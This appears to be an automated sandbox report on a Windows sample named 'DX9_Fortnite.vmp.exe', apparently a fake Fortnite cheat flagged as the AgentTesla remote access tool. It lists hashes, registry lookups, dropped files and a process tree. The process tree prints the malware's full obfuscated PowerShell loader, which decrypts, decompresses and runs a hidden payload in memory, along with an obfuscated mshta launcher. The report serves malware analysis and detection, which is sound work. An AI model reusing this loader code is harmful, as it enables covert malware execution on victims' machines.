Analysis
-
max time kernel
22s -
max time network
21s -
platform
windows10-2004_x64 -
resource
win10v2004-20231130-en -
resource tags
arch:x64arch:x86image:win10v2004-20231130-enlocale:en-usos:windows10-2004-x64system -
submitted
04-12-2023 16:30
Static task
static1
Behavioral task
behavioral1
Sample
DX9_Fortnite.vmp.exe
Resource
win7-20231201-en
Behavioral task
behavioral2
Sample
DX9_Fortnite.vmp.exe
Resource
win10v2004-20231130-en
General
-
Target
DX9_Fortnite.vmp.exe
-
Size
21.9MB
-
MD5
cf28ae1e33e5bbe9cf060258896508b9
-
SHA1
cd309a4b4a7bdb72ea6e845be9ae067dfb37be1a
-
SHA256
5f9298f554a3b512e47c0348a55b7b9aa698e7bb467b082f28f8fac9ecaf193a
-
SHA512
59b53f7c4624682f6166e2f62820d5910a4f3175f5254e2210a9a70ce3f3203c232479e49eb42bdd7e4c8c21a8aec4f82369a439bbf0c02fce539f80f017a8aa
-
SSDEEP
393216:c4wAQLZRTjrvjOCYjeofCPLoEmI7mzO/tTKEAXVLenVTq9aWgp78P:c49QZ8CY7fCUEmIqzwAFanVTq9aVp78P
Malware Config
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
AgentTesla payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/1512-9-0x0000024153930000-0x0000024153B44000-memory.dmp family_agenttesla -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
DX9_Fortnite.vmp.exe$sxr-mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-596315103-1488671723-776734015-1000\Control Panel\International\Geo\Nation DX9_Fortnite.vmp.exe Key value queried \REGISTRY\USER\S-1-5-21-596315103-1488671723-776734015-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Executes dropped EXE 1 IoCs
Processes:
$sxr-mshta.exepid process 5008 $sxr-mshta.exe -
Drops file in Windows directory 6 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\$sxr-cmd.exe powershell.exe File created C:\Windows\$sxr-powershell.exe powershell.exe File opened for modification C:\Windows\$sxr-powershell.exe powershell.exe File created C:\Windows\$sxr-mshta.exe powershell.exe File opened for modification C:\Windows\$sxr-mshta.exe powershell.exe File created C:\Windows\$sxr-cmd.exe powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
DX9_Fortnite.vmp.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS DX9_Fortnite.vmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer DX9_Fortnite.vmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion DX9_Fortnite.vmp.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepid process 2788 powershell.exe 2788 powershell.exe 2788 powershell.exe 2788 powershell.exe 2788 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
DX9_Fortnite.vmp.exepowershell.exedescription pid process Token: SeDebugPrivilege 1512 DX9_Fortnite.vmp.exe Token: SeDebugPrivilege 2788 powershell.exe Token: SeDebugPrivilege 2788 powershell.exe Token: SeDebugPrivilege 2788 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
DX9_Fortnite.vmp.execmd.exedescription pid process target process PID 1512 wrote to memory of 1816 1512 DX9_Fortnite.vmp.exe cmd.exe PID 1512 wrote to memory of 1816 1512 DX9_Fortnite.vmp.exe cmd.exe PID 1816 wrote to memory of 4320 1816 cmd.exe cmd.exe PID 1816 wrote to memory of 4320 1816 cmd.exe cmd.exe PID 1816 wrote to memory of 2788 1816 cmd.exe powershell.exe PID 1816 wrote to memory of 2788 1816 cmd.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\DX9_Fortnite.vmp.exe"C:\Users\Admin\AppData\Local\Temp\DX9_Fortnite.vmp.exe"1⤵
- Checks computer location settings
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1512 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Uni.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function rOpwK($bDUZR){ $ZSbAX=[System.Security.Cryptography.Aes]::Create(); $ZSbAX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZSbAX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZSbAX.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('43RCrbvighVSmqRqLTRrGlwspP4E4ZTUpAUSnpzL+ho='); $ZSbAX.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XuQxWUp8cJ6TMP93x2hz7Q=='); $PTkwr=$ZSbAX.CreateDecryptor(); $return_var=$PTkwr.TransformFinalBlock($bDUZR, 0, $bDUZR.Length); $PTkwr.Dispose(); $ZSbAX.Dispose(); $return_var;}function doXyU($bDUZR){ $wnDke=New-Object System.IO.MemoryStream(,$bDUZR); $Fjgch=New-Object System.IO.MemoryStream; Invoke-Expression '$jWEeb #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$wnDke,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $jWEeb.CopyTo($Fjgch); $jWEeb.Dispose(); $wnDke.Dispose(); $Fjgch.Dispose(); $Fjgch.ToArray();}function okOoc($bDUZR,$WMjsd){ $DvAdI = @( '$dBIwi = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$bDUZR);', '$pfdJC = $dBIwi.EntryPoint;', '$pfdJC.Invoke($null, $WMjsd);' ); foreach ($kyIDC in $DvAdI) { Invoke-Expression $kyIDC };}$UEuXH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($HAUSH in $UEuXH) { if ($HAUSH.StartsWith('SEROXEN')) { $PXFKz=$HAUSH.Substring(7); break; }}$cogkk=doXyU (rOpwK ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($PXFKz)));okOoc $cogkk (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\Uni.bat')); "3⤵PID:4320
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-UCtDgcpgOzytSZOZWIBW4312:HwcgzvIq=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5008 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-UCtDgcpgOzytSZOZWIBW4312:HwcgzvIq=%2⤵PID:4936
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
12.0MB
MD5863f69ca35a3d6ec9bc767ea3069ae94
SHA1ba25bfe92c634441d9f73f2d11b7144a49b97e6b
SHA256b01f076893b445120cdff5a60baae318077dd7d995d007d7beba3a6a1982b231
SHA512f2883de03074cc00c56480cc01832536082cc5b1c60499f0a132ac9d38eea587c529ae591258837e919626e00171ebc40188acf8af760433ddf92470f111c6f5
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045